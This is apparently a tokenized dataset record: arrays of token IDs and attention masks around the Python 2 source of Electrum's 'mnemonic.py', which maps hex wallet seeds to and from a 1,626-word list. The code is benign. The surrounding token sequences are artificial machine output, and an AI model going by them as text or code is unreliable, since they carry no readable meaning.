5575, 297, 283, 384, 297, 283, 2110, 418, 199, 624, 199, 199, 8918, 275, 408, 199, 13, 536, 26, 7908, 3217, 523, 5340, 22101, 63, 3266, 26, 489, 536, 26, 26125, 378, 15, 18, 489, 1369, 26, 511, 13, 3266, 489, 8112, 26, 5198, 489, 28270, 26, 1749, 9669, 199, 199, 13, 536, 26, 2813, 3217, 523, 5340, 22101, 63, 3266, 26, 272, 536, 26, 18175, 894, 1749, 272, 1174, 26, 9552, 199, 199, 13, 536, 26, 1852, 3217, 1536, 523, 5340, 22101, 63, 3266, 26, 272, 536, 26, 26125, 378, 15, 18, 272, 5223, 26, 715, 199, 199, 13, 536, 26, 1852, 3217, 3224, 523, 5340, 22101, 63, 3266, 26, 272, 536, 26, 26125, 378, 15, 18, 272, 5223, 26, 756, 199, 199, 13, 536, 26, 2670, 21020, 2368, 523, 5340, 22101, 63, 3266, 26, 272, 536, 26, 26125, 378, 15, 18, 272, 1174, 26, 1536, 272, 4773, 63, 1866, 26, 2312, 8, 16, 9, 272, 12951, 63, 1866, 26, 1026, 8, 16, 9, 199, 199, 13, 536, 26, 2670, 15845, 21020, 2368, 523, 5340, 22101, 63, 3266, 26, 272, 536, 26, 26125, 378, 15, 2953, 272, 15845, 26, 272, 446, 1844, 26, 26125, 378, 15, 2953, 489, 1591, 26, 428, 44, 56, 199, 199, 13, 536, 26, 4094, 435, 21020, 523, 5340, 22101, 63, 3266, 26, 272, 536, 26, 26125, 378, 15, 18, 272, 5223, 26, 756, 272, 1174, 26, 3224, 199, 199, 13, 536, 26, 2654, 3217, 1808, 9531, 523, 5340, 22101, 63, 3266, 26, 272, 9531, 26, 272, 446, 469, 536, 26, 26125, 378, 15, 17, 12, 28270, 26, 413, 17054, 12, 1369, 26, 511, 13, 3266, 13, 17, 789, 272, 446, 469, 536, 26, 26125, 378, 15, 18, 12, 28270, 26, 413, 17054, 12, 1369, 26, 511, 13, 3266, 13, 18, 789, 272, 8112, 26, 11630, 272, 1174, 26, 3451, 199, 199, 13, 536, 26, 8496, 3217, 1808, 9531, 523, 5340, 22101, 63, 3266, 26, 272, 9531, 26, 272, 446, 536, 26, 18175, 894, 1749, 272, 446, 536, 26, 18175, 894, 1616, 272, 1174, 26, 9552, 199, 624, 199, 199, 9677, 275, 408, 199, 4405, 26, 523, 1369, 26, 710, 769, 402, 2897, 818, 3718, 370 ]
[ 2647, 15, 1393, 15, 1548, 199, 3, 199, 3, 334, 67, 9, 14894, 7255, 17817, 17138, 3277, 14, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 870, 63, 1593, 199, 363, 6577, 363, 275, 730, 421, 199, 8490, 63, 8314, 275, 791, 2343, 63, 1023, 356, 283, 17, 14, 17, 297, 490, 283, 1205, 356, 788, 7780, 995, 490, 283, 4946, 63, 991, 356, 283, 9387, 936, 421, 199, 8948, 275, 408, 199, 2595, 199, 578, 26, 5340, 22101, 63, 3266, 199, 1023, 63, 3270, 26, 298, 18, 14, 22, 2, 199, 2502, 26, 298, 44, 18212, 1187, 869, 778, 8593, 44, 18212, 1187, 40, 778, 2924, 199, 3612, 63, 1802, 26, 14944, 6551, 4309, 641, 7255, 17817, 428, 44, 56, 13, 3100, 2784, 7256, 199, 1802, 26, 523, 446, 961, 859, 6571, 30191, 10041, 402, 6551, 4309, 272, 641, 7255, 17817, 428, 44, 56, 13, 3100, 2784, 7256, 14, 199, 5983, 26, 523, 446, 30568, 6169, 428, 44, 56, 13, 3100, 5557, 83, 14, 17, 14, 996, 199, 1419, 26, 523, 536, 26, 272, 1369, 26, 489, 446, 2812, 402, 314, 14816, 14, 272, 1415, 26, 2549, 523, 1369, 26, 272, 1369, 26, 489, 446, 11994, 402, 14816, 14, 523, 5223, 26, 272, 1369, 26, 489, 446, 14816, 2142, 2004, 14, 272, 849, 26, 715, 272, 730, 26, 2155, 523, 8112, 26, 272, 1369, 26, 489, 446, 14816, 2142, 8112, 14, 523, 28270, 26, 272, 1369, 26, 489, 446, 14212, 1568, 402, 27754, 3644, 14, 523, 4773, 63, 1866, 26, 272, 1369, 26, 489, 446, 6266, 1147, 6634, 315, 5821, 1126, 3499, 334, 66, 1190, 680, 523, 12951, 63, 1866, 26, 272, 1369, 26, 489, 446, 799, 6594, 6634, 315, 5821, 1126, 3499, 334, 66, 1190, 680, 523, 15845, 26, 272, 1369, 26, 489, 446, 2670, 314, 3439, 279, 1174, 402, 1627, 3217, 445, 8, 354, 9, 367, 491, 29187, 15503, 14, 489, 446, 710, 2569, 26265, 787, 2808, 14, 272, 26265, 26, 267, 1591, 26, 881, 1369, 26, 288, 446, 298, 4464, 11741, 15503, 1591, 367, 1627, 3217, 445, 8, 354, 17617, 267, 1844, 26, 881, 1369, 26, 288, 446, 298, 4464, 11741, 15503, 1844, 370, 1314, 1627, 3217, 445, 8, 354, 9, 365, 8539, 2122, 523, 9531, 26, 272, 1369, 26, 3820, 402, 6551, 4309, 10269, 14, 523, 7339, 26, 272, 1369, 26, 489, 446, 4703, 315, 4696, 370, 3618, 2544, 7907, 367, 314, 3439, 279, 1174, 641, 3982, 267, 2243, 14, 961, 3618, 365, 3964, 367, 3439, 279, 1174, 1423, 1314, 787, 267, 473, 8, 929, 9, 543, 1338, 445, 8, 384, 2447, 35, 8, 2110, 395, 473, 8, 2347, 63, 1866, 9, 436, 473, 8, 6872, 63, 1866, 680, 272, 849, 26, 1616, 523, 1174, 26, 272, 1369, 26, 489, 446, 8511, 402, 314, 14816, 2897, 12, 445, 8, 384, 9, 4910, 3451, 436, 267, 3439, 1183, 1536, 436, 445, 8, 2110, 9, 4910, 3451, 436, 3439, 1183, 445, 8, 2110, 9, 272, 849, 26, 3451, 272, 3415, 26, 788, 1881, 297, 283, 5575, 297, 283, 384, 297, 283, 2110, 418, 199, 624, 199, 199, 8918, 275, 408, 199, 13, 536, 26, 7908, 3217, 523, 5340, 22101, 63, 3266, 26, 489, 536, 26, 26125, 378, 15, 18, 489, 1369, 26, 511, 13, 3266, 489, 8112, 26, 5198, 489, 28270, 26, 1749, 9669, 199, 199, 13, 536, 26, 2813, 3217, 523, 5340, 22101, 63, 3266, 26, 272, 536, 26, 18175, 894, 1749, 272, 1174, 26, 9552, 199, 199, 13, 536, 26, 1852, 3217, 1536, 523, 5340, 22101, 63, 3266, 26, 272, 536, 26, 26125, 378, 15, 18, 272, 5223, 26, 715, 199, 199, 13, 536, 26, 1852, 3217, 3224, 523, 5340, 22101, 63, 3266, 26, 272, 536, 26, 26125, 378, 15, 18, 272, 5223, 26, 756, 199, 199, 13, 536, 26, 2670, 21020, 2368, 523, 5340, 22101, 63, 3266, 26, 272, 536, 26, 26125, 378, 15, 18, 272, 1174, 26, 1536, 272, 4773, 63, 1866, 26, 2312, 8, 16, 9, 272, 12951, 63, 1866, 26, 1026, 8, 16, 9, 199, 199, 13, 536, 26, 2670, 15845, 21020, 2368, 523, 5340, 22101, 63, 3266, 26, 272, 536, 26, 26125, 378, 15, 2953, 272, 15845, 26, 272, 446, 1844, 26, 26125, 378, 15, 2953, 489, 1591, 26, 428, 44, 56, 199, 199, 13, 536, 26, 4094, 435, 21020, 523, 5340, 22101, 63, 3266, 26, 272, 536, 26, 26125, 378, 15, 18, 272, 5223, 26, 756, 272, 1174, 26, 3224, 199, 199, 13, 536, 26, 2654, 3217, 1808, 9531, 523, 5340, 22101, 63, 3266, 26, 272, 9531, 26, 272, 446, 469, 536, 26, 26125, 378, 15, 17, 12, 28270, 26, 413, 17054, 12, 1369, 26, 511, 13, 3266, 13, 17, 789, 272, 446, 469, 536, 26, 26125, 378, 15, 18, 12, 28270, 26, 413, 17054, 12, 1369, 26, 511, 13, 3266, 13, 18, 789, 272, 8112, 26, 11630, 272, 1174, 26, 3451, 199, 199, 13, 536, 26, 8496, 3217, 1808, 9531, 523, 5340, 22101, 63, 3266, 26, 272, 9531, 26, 272, 446, 536, 26, 18175, 894, 1749, 272, 446, 536, 26, 18175, 894, 1616, 272, 1174, 26, 9552, 199, 624, 199, 199, 9677, 275, 408, 199, 4405, 26, 523, 1369, 26, 710, 769, 402, 2897, 818, 3718, 370, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
cryptodechange/electrum-asiccoin
lib/mnemonic.py
16
17283
#!/usr/bin/env python # # Electrum - lightweight Bitcoin client # Copyright (C) 2011 thomasv@gitorious # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # list of words from http://en.wiktionary.org/wiki/Wiktionary:Frequency_lists/Contemporary_poetry words = [ "like", "just", "love", "know", "never", "want", "time", "out", "there", "make", "look", "eye", "down", "only", "think", "heart", "back", "then", "into", "about", "more", "away", "still", "them", "take", "thing", "even", "through", "long", "always", "world", "too", "friend", "tell", "try", "hand", "thought", "over", "here", "other", "need", "smile", "again", "much", "cry", "been", "night", "ever", "little", "said", "end", "some", "those", "around", "mind", "people", "girl", "leave", "dream", "left", "turn", "myself", "give", "nothing", "really", "off", "before", "something", "find", "walk", "wish", "good", "once", "place", "ask", "stop", "keep", "watch", "seem", "everything", "wait", "got", "yet", "made", "remember", "start", "alone", "run", "hope", "maybe", "believe", "body", "hate", "after", "close", "talk", "stand", "own", "each", "hurt", "help", "home", "god", "soul", "new", "many", "two", "inside", "should", "true", "first", "fear", "mean", "better", "play", "another", "gone", "change", "use", "wonder", "someone", "hair", "cold", "open", "best", "any", "behind", "happen", "water", "dark", "laugh", "stay", "forever", "name", "work", "show", "sky", "break", "came", "deep", "door", "put", "black", "together", "upon", "happy", "such", "great", "white", "matter", "fill", "past", "please", "burn", "cause", "enough", "touch", "moment", "soon", "voice", "scream", "anything", "stare", "sound", "red", "everyone", "hide", "kiss", "truth", "death", "beautiful", "mine", "blood", "broken", "very", "pass", "next", "forget", "tree", "wrong", "air", "mother", "understand", "lip", "hit", "wall", "memory", "sleep", "free", "high", "realize", "school", "might", "skin", "sweet", "perfect", "blue", "kill", "breath", "dance", "against", "fly", "between", "grow", "strong", "under", "listen", "bring", "sometimes", "speak", "pull", "person", "become", "family", "begin", "ground", "real", "small", "father", "sure", "feet", "rest", "young", "finally", "land", "across", "today", "different", "guy", "line", "fire", "reason", "reach", "second", "slowly", "write", "eat", "smell", "mouth", "step", "learn", "three", "floor", "promise", "breathe", "darkness", "push", "earth", "guess", "save", "song", "above", "along", "both", "color", "house", "almost", "sorry", "anymore", "brother", "okay", "dear", "game", "fade", "already", "apart", "warm", "beauty", "heard", "notice", "question", "shine", "began", "piece", "whole", "shadow", "secret", "street", "within", "finger", "point", "morning", "whisper", "child", "moon", "green", "story", "glass", "kid", "silence", "since", "soft", "yourself", "empty", "shall", "angel", "answer", "baby", "bright", "dad", "path", "worry", "hour", "drop", "follow", "power", "war", "half", "flow", "heaven", "act", "chance", "fact", "least", "tired", "children", "near", "quite", "afraid", "rise", "sea", "taste", "window", "cover", "nice", "trust", "lot", "sad", "cool", "force", "peace", "return", "blind", "easy", "ready", "roll", "rose", "drive", "held", "music", "beneath", "hang", "mom", "paint", "emotion", "quiet", "clear", "cloud", "few", "pretty", "bird", "outside", "paper", "picture", "front", "rock", "simple", "anyone", "meant", "reality", "road", "sense", "waste", "bit", "leaf", "thank", "happiness", "meet", "men", "smoke", "truly", "decide", "self", "age", "book", "form", "alive", "carry", "escape", "damn", "instead", "able", "ice", "minute", "throw", "catch", "leg", "ring", "course", "goodbye", "lead", "poem", "sick", "corner", "desire", "known", "problem", "remind", "shoulder", "suppose", "toward", "wave", "drink", "jump", "woman", "pretend", "sister", "week", "human", "joy", "crack", "grey", "pray", "surprise", "dry", "knee", "less", "search", "bleed", "caught", "clean", "embrace", "future", "king", "son", "sorrow", "chest", "hug", "remain", "sat", "worth", "blow", "daddy", "final", "parent", "tight", "also", "create", "lonely", "safe", "cross", "dress", "evil", "silent", "bone", "fate", "perhaps", "anger", "class", "scar", "snow", "tiny", "tonight", "continue", "control", "dog", "edge", "mirror", "month", "suddenly", "comfort", "given", "loud", "quickly", "gaze", "plan", "rush", "stone", "town", "battle", "ignore", "spirit", "stood", "stupid", "yours", "brown", "build", "dust", "hey", "kept", "pay", "phone", "twist", "although", "ball", "beyond", "hidden", "nose", "taken", "fail", "float", "pure", "somehow", "wash", "wrap", "angry", "cheek", "creature", "forgotten", "heat", "rip", "single", "space", "special", "weak", "whatever", "yell", "anyway", "blame", "job", "choose", "country", "curse", "drift", "echo", "figure", "grew", "laughter", "neck", "suffer", "worse", "yeah", "disappear", "foot", "forward", "knife", "mess", "somewhere", "stomach", "storm", "beg", "idea", "lift", "offer", "breeze", "field", "five", "often", "simply", "stuck", "win", "allow", "confuse", "enjoy", "except", "flower", "seek", "strength", "calm", "grin", "gun", "heavy", "hill", "large", "ocean", "shoe", "sigh", "straight", "summer", "tongue", "accept", "crazy", "everyday", "exist", "grass", "mistake", "sent", "shut", "surround", "table", "ache", "brain", "destroy", "heal", "nature", "shout", "sign", "stain", "choice", "doubt", "glance", "glow", "mountain", "queen", "stranger", "throat", "tomorrow", "city", "either", "fish", "flame", "rather", "shape", "spin", "spread", "ash", "distance", "finish", "image", "imagine", "important", "nobody", "shatter", "warmth", "became", "feed", "flesh", "funny", "lust", "shirt", "trouble", "yellow", "attention", "bare", "bite", "money", "protect", "amaze", "appear", "born", "choke", "completely", "daughter", "fresh", "friendship", "gentle", "probably", "six", "deserve", "expect", "grab", "middle", "nightmare", "river", "thousand", "weight", "worst", "wound", "barely", "bottle", "cream", "regret", "relationship", "stick", "test", "crush", "endless", "fault", "itself", "rule", "spill", "art", "circle", "join", "kick", "mask", "master", "passion", "quick", "raise", "smooth", "unless", "wander", "actually", "broke", "chair", "deal", "favorite", "gift", "note", "number", "sweat", "box", "chill", "clothes", "lady", "mark", "park", "poor", "sadness", "tie", "animal", "belong", "brush", "consume", "dawn", "forest", "innocent", "pen", "pride", "stream", "thick", "clay", "complete", "count", "draw", "faith", "press", "silver", "struggle", "surface", "taught", "teach", "wet", "bless", "chase", "climb", "enter", "letter", "melt", "metal", "movie", "stretch", "swing", "vision", "wife", "beside", "crash", "forgot", "guide", "haunt", "joke", "knock", "plant", "pour", "prove", "reveal", "steal", "stuff", "trip", "wood", "wrist", "bother", "bottom", "crawl", "crowd", "fix", "forgive", "frown", "grace", "loose", "lucky", "party", "release", "surely", "survive", "teacher", "gently", "grip", "speed", "suicide", "travel", "treat", "vein", "written", "cage", "chain", "conversation", "date", "enemy", "however", "interest", "million", "page", "pink", "proud", "sway", "themselves", "winter", "church", "cruel", "cup", "demon", "experience", "freedom", "pair", "pop", "purpose", "respect", "shoot", "softly", "state", "strange", "bar", "birth", "curl", "dirt", "excuse", "lord", "lovely", "monster", "order", "pack", "pants", "pool", "scene", "seven", "shame", "slide", "ugly", "among", "blade", "blonde", "closet", "creek", "deny", "drug", "eternity", "gain", "grade", "handle", "key", "linger", "pale", "prepare", "swallow", "swim", "tremble", "wheel", "won", "cast", "cigarette", "claim", "college", "direction", "dirty", "gather", "ghost", "hundred", "loss", "lung", "orange", "present", "swear", "swirl", "twice", "wild", "bitter", "blanket", "doctor", "everywhere", "flash", "grown", "knowledge", "numb", "pressure", "radio", "repeat", "ruin", "spend", "unknown", "buy", "clock", "devil", "early", "false", "fantasy", "pound", "precious", "refuse", "sheet", "teeth", "welcome", "add", "ahead", "block", "bury", "caress", "content", "depth", "despite", "distant", "marry", "purple", "threw", "whenever", "bomb", "dull", "easily", "grasp", "hospital", "innocence", "normal", "receive", "reply", "rhyme", "shade", "someday", "sword", "toe", "visit", "asleep", "bought", "center", "consider", "flat", "hero", "history", "ink", "insane", "muscle", "mystery", "pocket", "reflection", "shove", "silently", "smart", "soldier", "spot", "stress", "train", "type", "view", "whether", "bus", "energy", "explain", "holy", "hunger", "inch", "magic", "mix", "noise", "nowhere", "prayer", "presence", "shock", "snap", "spider", "study", "thunder", "trail", "admit", "agree", "bag", "bang", "bound", "butterfly", "cute", "exactly", "explode", "familiar", "fold", "further", "pierce", "reflect", "scent", "selfish", "sharp", "sink", "spring", "stumble", "universe", "weep", "women", "wonderful", "action", "ancient", "attempt", "avoid", "birthday", "branch", "chocolate", "core", "depress", "drunk", "especially", "focus", "fruit", "honest", "match", "palm", "perfectly", "pillow", "pity", "poison", "roar", "shift", "slightly", "thump", "truck", "tune", "twenty", "unable", "wipe", "wrote", "coat", "constant", "dinner", "drove", "egg", "eternal", "flight", "flood", "frame", "freak", "gasp", "glad", "hollow", "motion", "peer", "plastic", "root", "screen", "season", "sting", "strike", "team", "unlike", "victim", "volume", "warn", "weird", "attack", "await", "awake", "built", "charm", "crave", "despair", "fought", "grant", "grief", "horse", "limit", "message", "ripple", "sanity", "scatter", "serve", "split", "string", "trick", "annoy", "blur", "boat", "brave", "clearly", "cling", "connect", "fist", "forth", "imagination", "iron", "jock", "judge", "lesson", "milk", "misery", "nail", "naked", "ourselves", "poet", "possible", "princess", "sail", "size", "snake", "society", "stroke", "torture", "toss", "trace", "wise", "bloom", "bullet", "cell", "check", "cost", "darling", "during", "footstep", "fragile", "hallway", "hardly", "horizon", "invisible", "journey", "midnight", "mud", "nod", "pause", "relax", "shiver", "sudden", "value", "youth", "abuse", "admire", "blink", "breast", "bruise", "constantly", "couple", "creep", "curve", "difference", "dumb", "emptiness", "gotta", "honor", "plain", "planet", "recall", "rub", "ship", "slam", "soar", "somebody", "tightly", "weather", "adore", "approach", "bond", "bread", "burst", "candle", "coffee", "cousin", "crime", "desert", "flutter", "frozen", "grand", "heel", "hello", "language", "level", "movement", "pleasure", "powerful", "random", "rhythm", "settle", "silly", "slap", "sort", "spoken", "steel", "threaten", "tumble", "upset", "aside", "awkward", "bee", "blank", "board", "button", "card", "carefully", "complain", "crap", "deeply", "discover", "drag", "dread", "effort", "entire", "fairy", "giant", "gotten", "greet", "illusion", "jeans", "leap", "liquid", "march", "mend", "nervous", "nine", "replace", "rope", "spine", "stole", "terror", "accident", "apple", "balance", "boom", "childhood", "collect", "demand", "depression", "eventually", "faint", "glare", "goal", "group", "honey", "kitchen", "laid", "limb", "machine", "mere", "mold", "murder", "nerve", "painful", "poetry", "prince", "rabbit", "shelter", "shore", "shower", "soothe", "stair", "steady", "sunlight", "tangle", "tease", "treasure", "uncle", "begun", "bliss", "canvas", "cheer", "claw", "clutch", "commit", "crimson", "crystal", "delight", "doll", "existence", "express", "fog", "football", "gay", "goose", "guard", "hatred", "illuminate", "mass", "math", "mourn", "rich", "rough", "skip", "stir", "student", "style", "support", "thorn", "tough", "yard", "yearn", "yesterday", "advice", "appreciate", "autumn", "bank", "beam", "bowl", "capture", "carve", "collapse", "confusion", "creation", "dove", "feather", "girlfriend", "glory", "government", "harsh", "hop", "inner", "loser", "moonlight", "neighbor", "neither", "peach", "pig", "praise", "screw", "shield", "shimmer", "sneak", "stab", "subject", "throughout", "thrown", "tower", "twirl", "wow", "army", "arrive", "bathroom", "bump", "cease", "cookie", "couch", "courage", "dim", "guilt", "howl", "hum", "husband", "insult", "led", "lunch", "mock", "mostly", "natural", "nearly", "needle", "nerd", "peaceful", "perfection", "pile", "price", "remove", "roam", "sanctuary", "serious", "shiny", "shook", "sob", "stolen", "tap", "vain", "void", "warrior", "wrinkle", "affection", "apologize", "blossom", "bounce", "bridge", "cheap", "crumble", "decision", "descend", "desperately", "dig", "dot", "flip", "frighten", "heartbeat", "huge", "lazy", "lick", "odd", "opinion", "process", "puzzle", "quietly", "retreat", "score", "sentence", "separate", "situation", "skill", "soak", "square", "stray", "taint", "task", "tide", "underneath", "veil", "whistle", "anywhere", "bedroom", "bid", "bloody", "burden", "careful", "compare", "concern", "curtain", "decay", "defeat", "describe", "double", "dreamer", "driver", "dwell", "evening", "flare", "flicker", "grandma", "guitar", "harm", "horrible", "hungry", "indeed", "lace", "melody", "monkey", "nation", "object", "obviously", "rainbow", "salt", "scratch", "shown", "shy", "stage", "stun", "third", "tickle", "useless", "weakness", "worship", "worthless", "afternoon", "beard", "boyfriend", "bubble", "busy", "certain", "chin", "concrete", "desk", "diamond", "doom", "drawn", "due", "felicity", "freeze", "frost", "garden", "glide", "harmony", "hopefully", "hunt", "jealous", "lightning", "mama", "mercy", "peel", "physical", "position", "pulse", "punch", "quit", "rant", "respond", "salty", "sane", "satisfy", "savior", "sheep", "slept", "social", "sport", "tuck", "utter", "valley", "wolf", "aim", "alas", "alter", "arrow", "awaken", "beaten", "belief", "brand", "ceiling", "cheese", "clue", "confidence", "connection", "daily", "disguise", "eager", "erase", "essence", "everytime", "expression", "fan", "flag", "flirt", "foul", "fur", "giggle", "glorious", "ignorance", "law", "lifeless", "measure", "mighty", "muse", "north", "opposite", "paradise", "patience", "patient", "pencil", "petal", "plate", "ponder", "possibly", "practice", "slice", "spell", "stock", "strife", "strip", "suffocate", "suit", "tender", "tool", "trade", "velvet", "verse", "waist", "witch", "aunt", "bench", "bold", "cap", "certainly", "click", "companion", "creator", "dart", "delicate", "determine", "dish", "dragon", "drama", "drum", "dude", "everybody", "feast", "forehead", "former", "fright", "fully", "gas", "hook", "hurl", "invite", "juice", "manage", "moral", "possess", "raw", "rebel", "royal", "scale", "scary", "several", "slight", "stubborn", "swell", "talent", "tea", "terrible", "thread", "torment", "trickle", "usually", "vast", "violence", "weave", "acid", "agony", "ashamed", "awe", "belly", "blend", "blush", "character", "cheat", "common", "company", "coward", "creak", "danger", "deadly", "defense", "define", "depend", "desperate", "destination", "dew", "duck", "dusty", "embarrass", "engine", "example", "explore", "foe", "freely", "frustrate", "generation", "glove", "guilty", "health", "hurry", "idiot", "impossible", "inhale", "jaw", "kingdom", "mention", "mist", "moan", "mumble", "mutter", "observe", "ode", "pathetic", "pattern", "pie", "prefer", "puff", "rape", "rare", "revenge", "rude", "scrape", "spiral", "squeeze", "strain", "sunset", "suspend", "sympathy", "thigh", "throne", "total", "unseen", "weapon", "weary" ] n = 1626 # Note about US patent no 5892470: Here each word does not represent a given digit. # Instead, the digit represented by a word is variable, it depends on the previous word. def mn_encode( message ): out = [] for i in range(len(message)/8): word = message[8*i:8*i+8] x = int(word, 16) w1 = (x%n) w2 = ((x/n) + w1)%n w3 = ((x/n/n) + w2)%n out += [ words[w1], words[w2], words[w3] ] return out def mn_decode( wlist ): out = '' for i in range(len(wlist)/3): word1, word2, word3 = wlist[3*i:3*i+3] w1 = words.index(word1) w2 = (words.index(word2))%n w3 = (words.index(word3))%n x = w1 +n*((w2-w1)%n) +n*n*((w3-w2)%n) out += '%08x'%x return out if __name__ == '__main__': import sys if len( sys.argv ) == 1: print 'I need arguments: a hex string to encode, or a list of words to decode' elif len( sys.argv ) == 2: print ' '.join(mn_encode(sys.argv[1])) else: print mn_decode(sys.argv[1:])
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 199, 3, 662, 1264, 28430, 446, 10540, 3463, 21158, 1890, 199, 3, 1898, 334, 35, 9, 7760, 294, 676, 305, 86, 32, 3187, 16039, 1785, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 14, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 4388, 199, 3, 769, 402, 5932, 687, 1455, 921, 287, 14, 5319, 296, 695, 14, 1308, 15, 6797, 15, 55, 3258, 296, 695, 26, 18285, 63, 6717, 15, 714, 13555, 63, 555, 386, 651, 199, 199, 3148, 275, 359, 199, 2, 2930, 401, 199, 2, 4764, 401, 199, 2, 320, 432, 401, 199, 2, 14996, 401, 199, 2, 18178, 401, 199, 2, 7051, 401, 199, 2, 521, 401, 199, 2, 548, 401, 199, 2, 16990, 401, 199, 2, 1875, 401, 199, 2, 11660, 401, 199, 2, 15240, 401, 199, 2, 2110, 401, 199, 2, 2118, 401, 199, 2, 29727, 401, 199, 2, 426, 580, 401, 199, 2, 894, 401, 199, 2, 12726, 401, 199, 2, 9924, 401, 199, 2, 10254, 401, 199, 2, 6878, 401, 199, 2, 22703, 401, 199, 2, 32310, 401, 199, 2, 1589, 77, 401, 199, 2, 11066, 401, 199, 2, 2127, 401, 199, 2, 12056, 401, 199, 2, 8304, 401, 199, 2, 2809, 401, 199, 2, 9223, 401, 199, 2, 7617, 401, 199, 2, 7354, 401, 199, 2, 23472, 401, 199, 2, 9974, 401, 199, 2, 893, 401, 199, 2, 6868, 401, 199, 2, 273, 20816, 401, 199, 2, 1883, 401, 199, 2, 1681, 401, 199, 2, 1848, 401, 199, 2, 9321, 401, 199, 2, 3300, 441, 401, 199, 2, 14199, 401, 199, 2, 77, 2133, 401, 199, 2, 3019, 401, 199, 2, 1235, 287, 401, 199, 2, 14873, 401, 199, 2, 5907, 401, 199, 2, 10182, 401, 199, 2, 2231, 344, 401, 199, 2, 500, 401, 199, 2, 3972, 401, 199, 2, 273, 3362, 401, 199, 2, 11659, 401, 199, 2, 77, 688, 401, 199, 2, 13562, 401, 199, 2, 71, 723, 76, 401, 199, 2, 12422, 401, 199, 2, 68, 1091, 401, 199, 2, 3039, 401, 199, 2, 353, 401, 199, 2, 1662, 277, 401, 199, 2, 26035, 401, 199, 2, 16323, 401, 199, 2, 29428, 401, 199, 2, 1997, 401, 199, 2, 5182, 401, 199, 2, 10297, 401, 199, 2, 1623, 401, 199, 2, 7757, 401, 199, 2, 87, 2453, 401, 199, 2, 8302, 401, 199, 2, 5089, 401, 199, 2, 2778, 401, 199, 2, 813, 401, 199, 2, 2379, 401, 199, 2, 3250, 401, 199, 2, 6821, 401, 199, 2, 3239, 77, 401, 199, 2, 14287, 2127, 401, 199, 2, 2573, 